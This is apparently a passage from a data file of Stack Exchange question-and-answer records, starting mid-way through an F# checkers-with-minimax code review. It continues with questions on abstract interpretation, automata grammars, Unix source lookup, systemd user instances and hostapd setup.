}    flattenedList |> Seq.exists idlet internal jumpAvailable player (board :Board) =    let pieceHasJump row column =        let piece = board.[row].[column]        piece.IsSome && piece.Value.Player = player && hasValidJump { Row = row; Column = column } board    let flattenedList = seq {        for row in 0 .. Rows do        for column in 0 .. Columns do        yield (pieceHasJump row column) }    flattenedList |> Seq.exists idlet internal moveAvailable (board :Board) player =    let pieceHasMove row column =        let piece = board.[row].[column]        piece.IsSome &&        piece.Value.Player = player &&        (hasValidJump { Row = row; Column = column } board || hasValidHop { Row = row; Column = column } board)    let flattenedList = seq {        for row in 0 .. Rows do        for column in 0 .. Columns do        yield (pieceHasMove row column) }    flattenedList |> Seq.exists idlet isWon (board :Board) =    match (moveAvailable board) with    | x when not <| x White -> Some Black    | x when not <| x Black -> Some White    | _ -> Nonelet internal setPieceAt coord piece (board :Board) =    let boardItems = List.init (Rows + 1) (fun row ->        match row with        | i when i = coord.Row ->            List.init (Columns + 1) (fun col ->                match col with                | j when j = coord.Column -> piece                | _ -> board.[row].[col]            )        | _ -> board.[row]    )    boardItemslet internal jump startCoord endCoord (board :Board) =    let kingRowIndex = kingRowIndex((square startCoord board).Value.Player)    let piece =        match endCoord.Row with        | row when row = kingRowIndex -> Some <| Promote (square startCoord board).Value        | _ -> (square startCoord board)    let jumpedCoord = getJumpedCoord startCoord endCoord    board    |> setPieceAt startCoord None    |> setPieceAt endCoord piece    |> setPieceAt jumpedCoord Nonelet internal hop startCoord endCoord (board :Board) =    let kingRowIndex = kingRowIndex (square startCoord board).Value.Player    let piece =        match endCoord.Row with        | row when row = kingRowIndex -> Some <| Promote (square startCoord board).Value        | _ -> (square startCoord board)    board    |> setPieceAt startCoord None    |> setPieceAt endCoord piecelet internal playerTurnEnds (move :Move) (originalBoard :Board) (currentBoard :Board) =    let lastMoveWasJump = Math.Abs(move.[0].Row - move.[1].Row) = 2    let pieceWasPromoted = (square (List.last move) currentBoard).Value.PieceType = King &&                            (square move.[0] originalBoard).Value.PieceType = Checker    pieceWasPromoted ||    not (lastMoveWasJump && hasValidJump (List.last move) currentBoard)let public isValidMove startCoord endCoord (board :Board) =    coordExists startCoord &&    coordExists endCoord &&    moveIsDiagonal startCoord endCoord &&    (square startCoord board).IsSome &&    match Math.Abs(startCoord.Row - endCoord.Row) with    | 1 -> isValidHop startCoord endCoord board && not <| jumpAvailable (square startCoord board).Value.Player board    | 2 -> isValidJump startCoord endCoord board    | _ -> falselet public movePiece startCoord endCoord (board :Board) :Option<Board> =    match isValidMove startCoord endCoord board with    | false -> None    | true ->        match Math.Abs(startCoord.Row - endCoord.Row) with        | 1 -> Some <| hop startCoord endCoord board        | 2 -> Some <| jump startCoord endCoord board        | _ -> Nonelet rec public moveSequence (coordinates :Coord seq) (board :Option<Board>) =    let coords = List.ofSeq(coordinates)    match board with    | None -> None    | Some b ->        match coords.Length with        | b when b >= 3 ->            let newBoard = movePiece coords.Head coords.[1] board.Value            moveSequence coords.Tail newBoard        | _ -> movePiece coords.Head coords.[1] board.Valuelet internal uncheckedMovePiece startCoord endCoord (board :Board) =    match Math.Abs(startCoord.Row - endCoord.Row) with    | 1 -> hop startCoord endCoord board    | 2 -> jump startCoord endCoord boardlet rec internal uncheckedMoveSequence (coordinates :Coord seq) (board :Board) =    let coords = List.ofSeq(coordinates)    match coords.Length with    | b when b >= 3 ->        let newBoard = uncheckedMovePiece coords.Head coords.[1] board        uncheckedMoveSequence coords.Tail newBoard    | _ -> uncheckedMovePiece coords.Head coords.[1] boardAmericanCheckersAI.fs contains the variant-specific logic for AI:module Checkers.AIs.AmericanCheckersAIopen Checkers.Boardopen Checkers.Variants.AmericanCheckersopen Checkers.Typesopen Systemlet checkerWeights =    [[0.0; 3.20; 0.0; 3.20; 0.0; 3.20; 0.0; 3.10];    [1.15; 0.0; 1.05; 0.0; 1.0; 0.0; 1.10; 0.0];    [0.0; 1.10; 0.0; 1.0; 0.0; 1.05; 0.0; 1.15];    [1.15; 0.0; 1.05; 0.0; 1.0; 0.0; 1.10; 0.0];    [0.0; 1.10; 0.0; 1.0; 0.0; 1.05; 0.0; 1.15];    [1.15; 0.0; 1.05; 0.0; 1.0; 0.0; 1.10; 0.0];    [0.0; 1.10; 0.0; 1.0; 0.0; 1.05; 0.0; 1.15];    [3.10; 0.0; 3.20; 0.0; 3.20; 0.0; 3.20; 0.0]]let kingWeights =    [[0.0; 1.05; 0.0; 1.0; 0.0; 1.0; 0.0; 1.0];    [1.05; 0.0; 1.10; 0.0; 1.05; 0.0; 1.05; 0.0];    [0.0; 1.10; 0.0; 1.15; 0.0; 1.10; 0.0; 1.0];    [1.0; 0.0; 1.15; 0.0; 1.20; 0.0; 1.05; 0.0];    [0.0; 1.05; 0.0; 1.20; 0.0; 1.15; 0.0; 1.0];    [1.0; 0.0; 1.10; 0.0; 1.15; 0.0; 1.10; 0.0];    [0.0; 1.05; 0.0; 1.05; 0.0; 1.10; 0.0; 1.05];    [1.0; 0.0; 1.0; 0.0; 1.0; 0.0; 1.05; 0.0]]let isPlayerPiece player coord (board :Board) =    let piece = square coord board    piece.IsSome && player = piece.Value.Playerlet nextPoint coord =    match coord with    | c when c.Row = Rows && c.Column = Columns -> None    | c when c.Column = Columns -> Some {Row = c.Row + 1; Column = 0}    | _ -> Some {coord with Column = coord.Column + 1}let calculateCheckerWeight coord (board :Board) =    let piece = (square coord board).Value    let kingRow = kingRowIndex piece.Player    let weight = 8.0 - (float <| Math.Abs(kingRow - coord.Row)) + (square coord checkerWeights)    match piece.Player with    | Black -> weight    | White -> -weightlet calculateKingWeight coord (board :Board) =    let piece = (square coord board).Value    let weight = 8.0 + (square coord kingWeights)    match piece.Player with    | Black -> weight    | White -> -weightlet calculatePieceWeight coord (board :Board) =    let piece = square coord board    match piece.Value.PieceType with    | Checker -> calculateCheckerWeight coord board    | King -> calculateKingWeight coord boardlet calculateWeight player (board :Board) =    let rec loop (weight :float) coord :float =        match nextPoint coord with        | Some c ->            match isPlayerPiece player coord board with            | true -> loop (weight + (calculatePieceWeight coord board)) c            | false -> loop weight c        | None -> weight    loop 0.0 {Row = 0; Column = 0}let calculateWeightDifference (board :Board) =    let rec loop (weight :float) coord =        match nextPoint coord with        | Some c ->            let piece = square coord board            match piece.IsSome with            | true -> loop (weight + (calculatePieceWeight coord board)) c            | false -> loop weight c        | None -> weight    loop 0.0 {Row = 0; Column = 0}let checkerJumps player =    match player with    | White -> [{Row = -2; Column = -2}; {Row = -2; Column = 2}]    | Black -> [{Row = 2; Column = -2}; {Row = 2; Column = 2}]let kingJumps player =    (checkerJumps player) @        (match player with        | White -> [{Row = 2; Column = -2}; {Row = 2; Column = 2}]        | Black -> [{Row = -2; Column = -2}; {Row = -2; Column = 2}])let checkerHops player =    match player with    | White -> [{Row = -1; Column = -1}; {Row = -1; Column = 1}]    | Black -> [{Row = 1; Column = -1}; {Row = 1; Column = 1}]let kingHops player =    (checkerHops player) @        (match player with        | White -> [{Row = 1; Column = -1}; {Row = 1; Column = 1}]        | Black -> [{Row = -1; Column = -1}; {Row = -1; Column = 1}])let getPieceSingleJumps coord (board :Board) =    let piece = (square coord board).Value    let moves =         match piece.PieceType with        | Checker -> checkerJumps piece.Player        | King -> kingJumps piece.Player    let hops = List.ofSeq (seq {        for move in moves do        let endCoord = offset coord move        yield            match coordExists endCoord && isValidJump coord endCoord board with            | true -> Some [coord; endCoord]            | false -> None })    List.map (fun (item :Option<Move>) -> item.Value) (List.where (fun (item :Option<Move>) -> item.IsSome) hops)let rec createMoveTree (move :Move) (board :Board) =    let moveTree =        {            Move = move;            Parent = None;            Children =                let newBoard = if move.Length = 1 then board else uncheckedMoveSequence move board                let newJumps = getPieceSingleJumps (List.last move) newBoard                let newMoveEndCoords = List.map (fun item -> List.last item) newJumps                let oldPieceType = (square move.Head board).Value.PieceType                let newPieceType = (square (List.last move) newBoard).Value.PieceType                match newMoveEndCoords.IsEmpty || (oldPieceType = Checker && newPieceType = King) with                | false ->                    let moves = List.map (fun (item :Coord) -> move @ [item]) newMoveEndCoords                    let children = List.map (fun item -> createMoveTree item board) moves                    Some children                | true -> None        }    moveTreelet getPieceJumps coord (board :Board) =    let moves = new System.Collections.Generic.List<Move>()    let rec loop (moveTree :MoveTree) =        match moveTree.Children with        | None -> moves.Add(moveTree.Move)        | Some t -> List.iter (fun item -> (loop item)) t    let moveTree = createMoveTree [coord] board    match moveTree.Children with    | Some t -> loop <| createMoveTree [coord] board    | None -> ()    List.ofSeq moveslet getPieceHops coord (board :Board) =    let piece = (square coord board).Value    let moves =         match piece.PieceType with        | Checker -> checkerHops piece.Player        | King -> kingHops piece.Player    let hops = List.ofSeq (seq {        for move in moves do        let endCoord = offset coord move        yield            match coordExists endCoord && isValidHop coord endCoord board with            | true -> Some [coord; endCoord]            | false -> None })    List.map (fun (item :Option<Move>) -> item.Value) (List.where (fun (item :Option<Move>) -> item.IsSome) hops)let calculateMoves player (board :Board) =    let rec loop jumpAcc hopAcc coord =        match isPlayerPiece player coord board with        | true ->            let newJumpAcc = getPieceJumps coord board @ jumpAcc            match newJumpAcc with            | [] ->                let newHopAcc = getPieceHops coord board @ hopAcc                match nextPoint coord with                | Some c -> loop newJumpAcc newHopAcc c                | None -> newHopAcc            | _ ->                match nextPoint coord with                | Some c -> loop newJumpAcc [] c                | None -> newJumpAcc        | false ->            match nextPoint coord with            | Some c -> loop jumpAcc hopAcc c            | None -> jumpAcc @ hopAcc    loop [] [] {Row = 0; Column = 0}GameController.fs contains the state of the game as a whole.  In the future, this will be expanded to tracking move history and other relevant information.module public Checkers.GameControlleropen Checkers.Typesopen Checkers.Boardtype GameController = { Board :Board; CurrentPlayer :Player; CurrentCoord :Option<Coord> }let newGame = { Board = Board.defaultBoard; CurrentPlayer = Black; CurrentCoord = None }Minimax.fs contains the general logic for the AI's.  This module contains some very nasty code, including a few mutable variables.  I'm sure my other code is a mess as well, but I'd like special attention for this.module internal Checkers.Minimaxopen Checkers.Typesopen Checkers.Boardopen Checkers.FSharpExtensionsopen Checkers.Variants.AmericanCheckersopen Checkers.AIs.AmericanCheckersAIlet rec internal bestMatchInList player highestDifference moveForHighestDifference (list :List<float * Move>) =    let head::tail = list    let weight = fst head    let newMoveForHighestDifference =        match player with        | Black -> match weight > highestDifference with                   | true -> snd head                   | false -> moveForHighestDifference        | White -> match weight < highestDifference with                   | true -> snd head                   | false -> moveForHighestDifference    let newHighestDifference =        (highestDifference, weight)        ||> match player with            | Black -> max            | White -> min    match tail with    | [] -> (highestDifference, newMoveForHighestDifference)    | _ -> bestMatchInList player newHighestDifference newMoveForHighestDifference list.Taillet internal chooseNewAlpha currentAlpha (candidateAlpha :float Option) =    match currentAlpha with    | Some x -> if candidateAlpha.IsSome then Some <| max x candidateAlpha.Value else currentAlpha    | None -> candidateAlphalet internal chooseNewBeta currentBeta (candidateBeta :float Option) =    match currentBeta with    | Some x -> if candidateBeta.IsSome then Some <| min x candidateBeta.Value else currentBeta    | None -> candidateBetalet rec minimax player searchDepth alpha beta (board :Board) =    match searchDepth = 0 || (isWon board).IsSome with    | true ->        let weightDifference = Some <| calculateWeightDifference board        let newAlpha = if player = Black then weightDifference else alpha        let newBeta = if player = White then weightDifference else beta        { Alpha = newBeta; Beta = newAlpha; Move = [] }    | false ->        let moves = calculateMoves player board        let mutable alphaForNode = None        let mutable betaForNode = None        let mutable newAlpha = alpha        let mutable newBeta = beta        let mutable move = []        if searchDepth <> 0 then            ignore <| List.map (fun x -> if newAlpha.IsNone || newBeta.IsNone || newAlpha.Value < newBeta.Value then                                             let newBoard = uncheckedMoveSequence x board                                             let alphaBetaMove = minimax (otherPlayer player) (searchDepth - 1) alphaForNode betaForNode newBoard                                             match player with                                             | Black ->                                                 alphaForNode <- chooseNewAlpha alphaForNode alphaBetaMove.Alpha                                                 newAlpha <- chooseNewAlpha newAlpha alphaForNode                                                 move <- if newAlpha = alphaBetaMove.Alpha then x else move                                             | White ->                                                 betaForNode <- chooseNewBeta betaForNode alphaBetaMove.Beta                                                 newBeta <- chooseNewBeta newBeta betaForNode                                                 move <- if newBeta = alphaBetaMove.Beta then x else move                                         ())                               moves        { Alpha = betaForNode; Beta = alphaForNode; Move = move }PublicAPI.fs is really kind of a wrapper that containing methods that are meant to be called from outside the library.  On this note, note that all the internal methods are really meant to be private to the class, but xUnit doesn't support Portable Class Libraries (PCLs), so I need to expose them to the test library.module public Checkers.PublicAPIopen Checkers.Variantsopen Checkers.Typesopen Checkers.Boardopen Checkers.FSharpExtensionsopen Checkers.Variants.AmericanCheckersopen Checkers.Minimaxopen Checkers.GameControlleropen Systemlet isValidMove startCoord endCoord gameController =    isValidMove startCoord endCoord gameController.Board &&    (square startCoord gameController.Board).Value.Player = gameController.CurrentPlayer &&    match gameController.CurrentCoord with    | None -> true    | coord -> startCoord = coord.Valuelet movePiece startCoord endCoord gameController :Option<GameController> =    let board = movePiece startCoord endCoord gameController.Board    match (isValidMove startCoord endCoord gameController) with    | true -> Some <|                {                    Board = board.Value;                    CurrentPlayer = match playerTurnEnds [startCoord; endCoord] gameController.Board board.Value with                                    | true -> otherPlayer gameController.CurrentPlayer                                    | false -> gameController.CurrentPlayer                            CurrentCoord = match playerTurnEnds [startCoord; endCoord] gameController.Board board.Value with                                   | true -> None                                   | false -> Some endCoord                }    | false -> Nonelet move (move :Coord seq) (gameController) :Option<GameController> =    let board = moveSequence move (Some gameController.Board)    match board with    | Some b -> Some <|                {                    Board = board.Value;                    CurrentPlayer = match playerTurnEnds (List.ofSeq move) gameController.Board board.Value with                                    | true -> otherPlayer gameController.CurrentPlayer                                    | false -> gameController.CurrentPlayer                            CurrentCoord = match playerTurnEnds (List.ofSeq move) gameController.Board board.Value with                                   | true -> None                                   | false -> Some (Seq.last move)                }    | None -> Nonelet getMove searchDepth gameController =    (minimax gameController.CurrentPlayer searchDepth None None gameController.Board).Movelet isWon controller =    isWon controller.Board"  , "title": "American Checkers with AI"  , "tags": "game;f#;ai;checkers draughts"  , "accepted_answer": "I don't like these at all:let internal chooseNewAlpha currentAlpha (candidateAlpha :float Option) =    match currentAlpha with    | Some x -> if candidateAlpha.IsSome then Some <| max x candidateAlpha.Value else currentAlpha    | None -> candidateAlphalet internal chooseNewBeta currentBeta (candidateBeta :float Option) =    match currentBeta with    | Some x -> if candidateBeta.IsSome then Some <| min x candidateBeta.Value else currentBeta    | None -> candidateBetaIn our chat you state you were told to use if when matching against a simple boolean (there's no specific reason to use it over match, or match over it for that situation, so I'll not comment on that) but you can rewrite that with one match instead of a match with a nested if:let internal chooseNewAlpha currentAlpha (candidateAlpha :float Option) =    match (currentAlpha, candidateAlpha) with    | (Some current, Some candidate) -> Some <| max current candidate    | (Some current, None) -> Some current    | (None, Some candidate) -> Some candidate    | _ -> Nonelet internal chooseNewBeta currentBeta (candidateBeta :float Option) =    match (currentBeta, candidateBeta) with    | (Some current, Some candidate) -> Some <| min current candidate    | (Some current, None) -> Some current    | (None, Some candidate) -> Some candidate    | _ -> NoneWhy match with a Tuple? Because current and candidate are codependent: each one can affect the result of the other. So we want to take both into account idiomatically.let internal moveIsDiagonal startCoord endCoord =    startCoord <> endCoord &&    System.Math.Abs(startCoord.Row - endCoord.Row) = System.Math.Abs(startCoord.Column - endCoord.Column)F# has an abs method: startCoord <> endCoord && abs (startCoord.Row - endCoord.Row) = abs (startCoord.Column - endCoord.Column).I would consider a refactor:[<Literal>]let Rows = 7[<Literal>]let Columns = 7You use Rows and 0 in the same place, but now 0 doesn't make sense.let internal kingRowIndex(player) =    match player with    | Player.Black -> Rows    | Player.White -> 0You should have:[<Literal>]Rows = 8[<Literal>]Columns = 8[<Literal>]FirstRow = 0[<Literal>]LastRow = Rows - 1[<Literal>]FirstColumn = 0[<Literal>]LastColumn = Columns - 1Thus we have:let internal kingRowIndex(player) =    match player with    | Player.Black -> LastRow    | Player.White -> FirstRowSome of your functions can take advantage of function composition:let internal isValidJump startCoord endCoord (board :Board) =    match (square startCoord board).Value.PieceType with    | PieceType.Checker -> isValidCheckerJump startCoord endCoord board    | PieceType.King -> isValidKingJump startCoord endCoord boardCould be something like:let internal isValidJump startCoord endCoord (board:Board) =    let jumpFunc =        match (square startCoord board).Value.PieceType with        | PieceType.Checker -> isValidCheckerJump        | PieceType.King -> isValidKingJump    jumpFunc startCoord endCoord boardlet getPieceHops coord (board :Board) =    let piece = (square coord board).Value    let moves =         match piece.PieceType with        | Checker -> checkerHops piece.Player        | King -> kingHops piece.Player    let hops = List.ofSeq (seq {        for move in moves do        let endCoord = offset coord move        yield            match coordExists endCoord && isValidHop coord endCoord board with            | true -> Some [coord; endCoord]            | false -> None })    List.map (fun (item :Option<Move>) -> item.Value) (List.where (fun (item :Option<Move>) -> item.IsSome) hops)Boy is that a mess.You use a for loop (not F# idiomatic), filter in the for loop and return either None or Some, then use a List.map on a List.where to filter only the Some values and return the actual value.You use a List.where, which is a synonym for List.filter (which is the preferred method), and the worst part is you use it on a list that could have already been filtered.let getPieceHops coord (board :Board) =    let piece = (square coord board).Value    let moves =         match piece.PieceType with        | Checker -> checkerHops piece.Player        | King -> kingHops piece.Player    let hopsFilter = List.filter (fun (head::tail) ->        let startCoord = head        let endCoord = tail |> List.head        coordExists endCoord && isValidHop startCoord endCoord board)    moves |> List.map (fun move -> [coord; offset coord move]) |> hopsFilterWe eliminated multiple excessive methods, and return the same thing you did initially. (Or should have.)I've finally had time to review minimax, and I think this should be a suitable version that uses tail-call recursion and should do what you want.Do note I've not tested this at all yet, this was a rewrite in Notepad. Something like the following should work, though you've mentioned to me in chat, so I've updated it substantially.let rec minimax player searchDepth alpha beta (board:Board) =    match searchDepth = 0 || (isWon board).IsSome with    | true ->        let weightDifference = Some <| calculateWeightDifference board        let newAlpha =             match player with            | Black -> weightDifference            | _ -> alpha        let newBeta =            match player with            | White -> weightDifference            | _ -> beta        { Alpha = newBeta; Beta = newAlpha; Move = [] }    | false ->        let rec loop alphaForNode betaForNode newAlpha newBeta move moves =            match List.isEmpty moves with            | true -> { Alpha = betaForNode; Beta = alphaForNode; Move = move }            | false ->                let currentMove = moves |> List.head                match newAlpha.IsNone || newBeta.IsNone || newAlpha.Value < newBeta.Value with                | false -> loop alphaForNode betaForNode newAlpha newBeta move (moves |> List.tail)                | true ->                    let newBoard = uncheckedMoveSequence currentMove board                    let alphaBetaMove = minimax (otherPlayer player) (searchDepth - 1) alphaForNode betaForNode newBoard                    match player with                    | Black ->                        let newAlphaForNode = chooseNewAlpha alphaForNode alphaBetaMove.Alpha                        let newNewAlpha = choseNewAlpha newAlpha newAlphaForNode                        let newMove =                             match newNewAlpha with                            | a when a = alphaBetaMove.Alpha -> currentMove                            | _ -> move                        loop newAlphaForNode betaForNode newNewAlpha newBeta newMove (moves |> List.tail)                    | White ->                        let newBetaForNode = chooseNewBeta betaForNode alphaBetaMove.Beta                        let newNewBeta = chooseNewBeta newBeta newBetaForNode                        let newMove =                            match newNewBeta with                            | b when b = alphaBetaMove.Beta -> currentMove                            | _ -> move                        loop alphaForNode newBetaForNode newAlpha newNewBeta newMove (moves |> List.tail)        let moves = calculateMoves player board        loop None None alpha beta [] movesOf course that's huge and does a lot of stuff. We obviously want to break it down.So we'll extract our match player with to use some methods, function composition, etc.It's still long, but it's slightly more maintainable.let rec minimax player searchDepth alpha beta (board:Board) =    match searchDepth = 0 || (isWon board).IsSome with    | true ->        let weightDifference = Some <| calculateWeightDifference board        let newAlpha =             match player with            | Black -> weightDifference            | _ -> alpha        let newBeta =            match player with            | White -> weightDifference            | _ -> beta        { Alpha = newBeta; Beta = newAlpha; Move = [] }    | false ->        let getNewValueAndMove chooseMethod nodeValue moveValue currentValue currentMove newMove =            let newNodeValue = chooseMethod nodeValue moveValue            let newValue = chooseMethod currentValue newNodeValue            let finalMove =                 match newValue with                | a when a = moveValue -> currentMove                | _ -> newMove            (newNodeValue, newValue, finalMove)        let rec loop alphaForNode betaForNode newAlpha newBeta move moves =            match List.isEmpty moves with            | true -> { Alpha = betaForNode; Beta = alphaForNode; Move = move }            | false ->                let currentMove = moves |> List.head                match newAlpha.IsNone || newBeta.IsNone || newAlpha.Value < newBeta.Value with                | false -> loop alphaForNode betaForNode newAlpha newBeta move (moves |> List.tail)                | true ->                    let newBoard = uncheckedMoveSequence currentMove board                    let alphaBetaMove = minimax (otherPlayer player) (searchDepth - 1) alphaForNode betaForNode newBoard                    match player with                    | Black ->                        let (newAlphaForNode, newNewAlpha, newMove) = getNewValueAndMove chooseNewAlpha alphaForNode alphaBetaMove.Alpha newAlpha currentMove move                        loop newAlphaForNode betaForNode newNewAlpha newBeta newMove (moves |> List.tail)                    | White ->                        let (newBetaForNode, newNewBeta, newMove) = getNewValueAndMove chooseNewBeta betaForNode alphaBetaMove.Beta newBeta currentMove move                        loop alphaForNode newBetaForNode newAlpha newNewBeta newMove (moves |> List.tail)        loop None None alpha beta [] (calculateMoves player board)Finally, PublicAPI: I hate the whitespace there, the way you indented that.Generally, if I have to multi-line things like that I line break and then start indentation.let movePiece startCoord endCoord gameController :Option<GameController> =    let board = movePiece startCoord endCoord gameController.Board    match (isValidMove startCoord endCoord gameController) with    | false -> None    | true ->        Some <|        {            Board = board.Value;            CurrentPlayer =                match playerTurnEnds [startCoord; endCoord] gameController.Board board.Value with                | true -> otherPlayer gameController.CurrentPlayer                | false -> gameController.CurrentPlayer                    CurrentCoord =                match playerTurnEnds [startCoord; endCoord] gameController.Board board.Value with                | true -> None                | false -> Some endCoord        }let move (move :Coord seq) (gameController) :Option<GameController> =    let board = moveSequence move (Some gameController.Board)    match board with    | None -> None    | Some b ->        Some <|        {            Board = board.Value;            CurrentPlayer =                match playerTurnEnds (List.ofSeq move) gameController.Board board.Value with                | true -> otherPlayer gameController.CurrentPlayer                | false -> gameController.CurrentPlayer                    CurrentCoord =                match playerTurnEnds (List.ofSeq move) gameController.Board board.Value with                | true -> None                | false -> Some (Seq.last move)        }It's a lot easier to follow. I also tend to put the single-line match patterns at the top, where it allows, so that there's not one line underneath a massive block like that just hanging out.Overall it was quite good, excepting the few idiomatic issues."  } 
{  "id": "_cs.74985"  , "question": "I am performing some inter-procedural abstract interpretation to capture certain program properties. Following the standard way, what I am doing is to maintain a work list of to-be-analyzed functions, and pick one from the work list to perform intra-procedural analysis until the work list is empty.Currently, I observed that the intra-procedural analysis of certain functions would not terminate. Basically, it is just taking too much memory and become too slow to reason for even one more statement.Of course, I can optimize my code base and improve the memory efficiency, but fundamentally that shouldn't help too much. Now I am seeking for some strategies to bypass such obstacle. Intuitively, what I can do is to cut a intra-procedural analysis off whenever the memory usage grows too high, return a Top as the return value, and switch to the next function in my work list for analysis.This seems very naturally, and should be sound as well! However, after some quick review of some abstract interpretation work, I don't see any related work performing such cut off. So here is my question:What is the standard approach in abstract interpretation if a intra-procedural analysis becomes too costly to finish? I assume the cut off and return Top approach is sound. Then why shouldn't I find any related literature employing such approach? Is it too ad-hoc and naive? "  , "title": "Cut costly functions in inter-procedural abstract interpretation"  , "tags": "programming languages;formal methods;data flow analysis;static analysis"  , "accepted_answer": "Sure.  Cut off and return Top is sound.  It's valid.  It seems like a reasonable thing to do.I don't know if it has been studied or used before in the literature.  I wouldn't be surprised if it has.  It feels to me like a variant on widening, even though it's not identical to the usual widening operator.   I've seen similar methods applied before (if you get stuck, give up and return Top) in other situations.I don't think there's a single standard approach to this problem.  My impression is that there are multiple techniques. You can memoize analysis of a function (so you lazily generate a transfer function that summarizes the effect of the function, in terms of its arguments, and then reuse that information when you need it again in the future).  You can use widening operators.  You can use counter-example guided refinement to start with a coarse abstraction (which is efficient for static analysis), and then make the abstraction more precise as needed.  I imagine you could also do the converse: start with a fine-grained abstraction, and if it is taking too long, switch to a more coarse abstraction and restart the analysis with that coarser abstraction.  There are probably many other possible techniques, and the best one might depend on the specifics of your particular analysis."  } 
{  "id": "_hardwarecs.1258"  , "question": "Does it exist a USB/bluetooth flash drive? I frequently need to copy data from a personal computer (I do not have bluetooth dongle) and a tablet. So I'm thinking about an hardware key acting as a flash drive but with both USB (for the PC) and bluetooth (for the tablet) interfaces. "  , "title": "Flash drive with USB and bluetooth interface"  , "tags": "usb;bluetooth;wireless"  } 
{  "id": "_cs.24494"  , "question": "I'm currently taking a class in Automata Theory and it's kicking my butt. I have an assignment that my teacher gave me that consists of three questions. I have no idea where to start. My teacher and I have a language barrier that I can't seem to break. If anyone could help me understand how to solve the following problems or guide me in the right direction, I would appreciate it! Sorry if I write some of the symbols wrong. I will attach images of the handout as well an assignment/answer sheet he gave us on a previous assignment. Thank you!!Define the language generated by the grammar $G_c= (V_n, V_t, P, \\delta)$ where:$V_n = \\{\\delta, A\\}$,$V_t = \\{0, 1\\}$,$P = \\{(\\delta, A0), (\\delta, 0\\delta 0), (\\alpha A,\\alpha^T \\alpha \\alpha^T)\\}$Give a rule tree for one sentence of the language $L(G_c)$ generated by the grammar $G_c$.Assume that we are given the language:$L(G_b) = \\{0^n 1^k 0^k 1^n \\mid k, n = 1, 2,... \\}$.Find a context-free grammar for this language.Assume we are given the following grammar $G_a = (V_n, V_t, P, \\delta)$ where:$V_n = \\{\\delta, A, B\\}$,$V_t = \\{0, 1\\}$, and$P = \\{(\\delta, 0A), (\\delta, 1B), (A, 1), (B, 0B), (B,1)\\}$.Find the language $L(G_a)$ generated by the grammar $G_a$.The Assignment: http://i.imgur.com/qx2hB1u.jpgPrevious Assignment + Answers:https://imgur.com/a/jO124"  , "title": "Automata Theory Questions: Rule Trees, Context-Free Grammar, Proving Ambiguity"  , "tags": "context free;automata;trees"  , "accepted_answer": "(1) It's always helpful to start listing some strings to get an idea of what kind of language we accept. I'm going to be making some assumptions here, but you should verify that these assumptions are true with whoever gave the assignment (they might be bad assumptions).$\\delta$ is the start symbol. We want to derive this until we get a string of only terminal symbols, either $0$s or $1$s. What's the smallest string we can derive? Well, we can get $0A$ from $\\delta$, and from $\\alpha A$ (I assume $\\alpha$ is any string), we can derive $\\alpha^T \\alpha \\alpha^T$; therefore, from $0A$ we can derive $0^T 0 0^T$. Since $T$ isn't defined, I assume it's a free variable - from context, I assume an integer - which means it can assume any natural value. Therefore, we can derive $0$, $00$, ... (i.e., $0^+ = 00^*$) from $0A$.The next observation is that there is no way to get $\\epsilon$, the empty string. Only the $A$ symbol can ever be removed, and the only productions that add $A$ also add $0$.The final observation is that productions only add the $0$ terminal symbol, so whatever language the grammar generates, it's a subset of $0^*$.In summary, we know that:1. The language contains $0^+ = 0^1 + 0^2 + ...$;2. The language doesn't contain $\\epsilon = 0^0$;3. The language is a subset of $0^* = 0^0 + 0^1 + 0^2 + ...$.I'm not entirely sure what a rule tree would look like for a context-sensitive grammar, so someone else might need to address that. To get the string $000$ one could apply the rules $\\delta \\rightarrow 0A \\rightarrow 0^T 0 0^T = 000$ by taking $T = 1$.(2) Something like this should work:Start := 0 Inner 1 | 0 Start 1Inner := 10 | 1 Inner 0Nonterminals are Start and Inner. Terminals are 0 and 1. Let's consider how this works: first, Start can generate $0^{n-1} S 1^{n-1}$ by applying the rule Start := 0 Start 1 $n-1$ times. It can then get $0^n I 1^n$ by applying Start := 0 Inner 1. Next, we can get $0^n1^{k-1}0^{k-1}1^n$ by applying Inner := 1 Inner 0 $k - 1$ times. Finally, we apply Inner := 10 once to get $0^n1^k0^k1^n$.(3) See the approach given for problem (1). You should find the language looks roughly like $01, 11, 101, 1001, ..., 10^n1, ... = 01 + 10^*1$."  } 
{  "id": "_unix.2222"  , "question": "Emacs lisp source code for .elc files?e.g. cal-mayan.elcFiles in the /bin directory?e.g. cat, split, and echo"  , "title": "Where can I find sources for"  , "tags": "source"  , "accepted_answer": "It depends a bit on what distribution you use. On a debian style system you could do something like this:$ dpkg -S `which cat`coreutils: /bin/cat$ apt-get source coreutilsThe last command will fetch the source archive and all the patches which were used to build the binary package that includes the cat command.Alternatively you could just google for it. Or use even google code search."  } 
{  "id": "_unix.168811"  , "question": "I'm using CentOS 7, and am trying to create a systemd service for my local user. However, before I can do that, I need my systemd user instance, which I cannot find or create to begin with.Running systemctl --user gives meFailed to issue method call: Process /bin/false exited with status 1Running systemctl status user@1000.service (where 1000 is the id given to me from the id command) gives meuser@1000.service   Loaded: not-found (Reason: No such file or directory)   Active: inactive (dead)How do I find/create my systemd user instance?"  , "title": "Can't start systemd user instance"  , "tags": "centos;rhel;systemd;services"  } 
{  "id": "_unix.209731"  , "question": "I am trying to set up a Wifi hotspot on Debian 7.6. After reading a few tutorials, I have managed to get the Wifi working by installing and configuring hostapd. I need to install and configure this on many different machines, some with no internet access, thus, I downloaded the deb packages for hostapd and its dependencies from here: http://ftp.br.debian.org/debian/pool/mainand wrote a script to configure the network interfaces and what not.The problem is, if I install the required packages (libnl-genl-3-200_3.2.7-4_i386.deb, libnl-3-200_3.2.7-4_i386.deb and hostapd_1.0-3+deb7u2_i386.deb) using dpkg rather than using apt-get, the machine hangs at boot, however the Wifi is up and running.After manual install and configuration, running service hostapd restart hangs when it attempts to start the service. While the the terminal hangs at [....] Starting advanced IEEE 802.11 management: hostapd. the wifi becomes accessible and I can connect to it successfully. Terminating the hanging process by pressing Ctrl+C will kill the Wifi connection. It feels like hostapd is not started in a separate thread, and thus hangs.I have compared the md5sum of manually downloaded packages and those found in /var/cache/apt/archives and the md5sums match up, so it must be config, yet the config I apply when install via apt-get and dpkg are identical. I have read that apt-get uses dpkg to install the actual packages, so I have no idea how this happens with the same debs and same applied config. Any pointers will be appreciated."  , "title": "Installing hostapd via apt-get and dpkg results in different boot behaviour"  , "tags": "apt;dpkg;hostapd"  } 
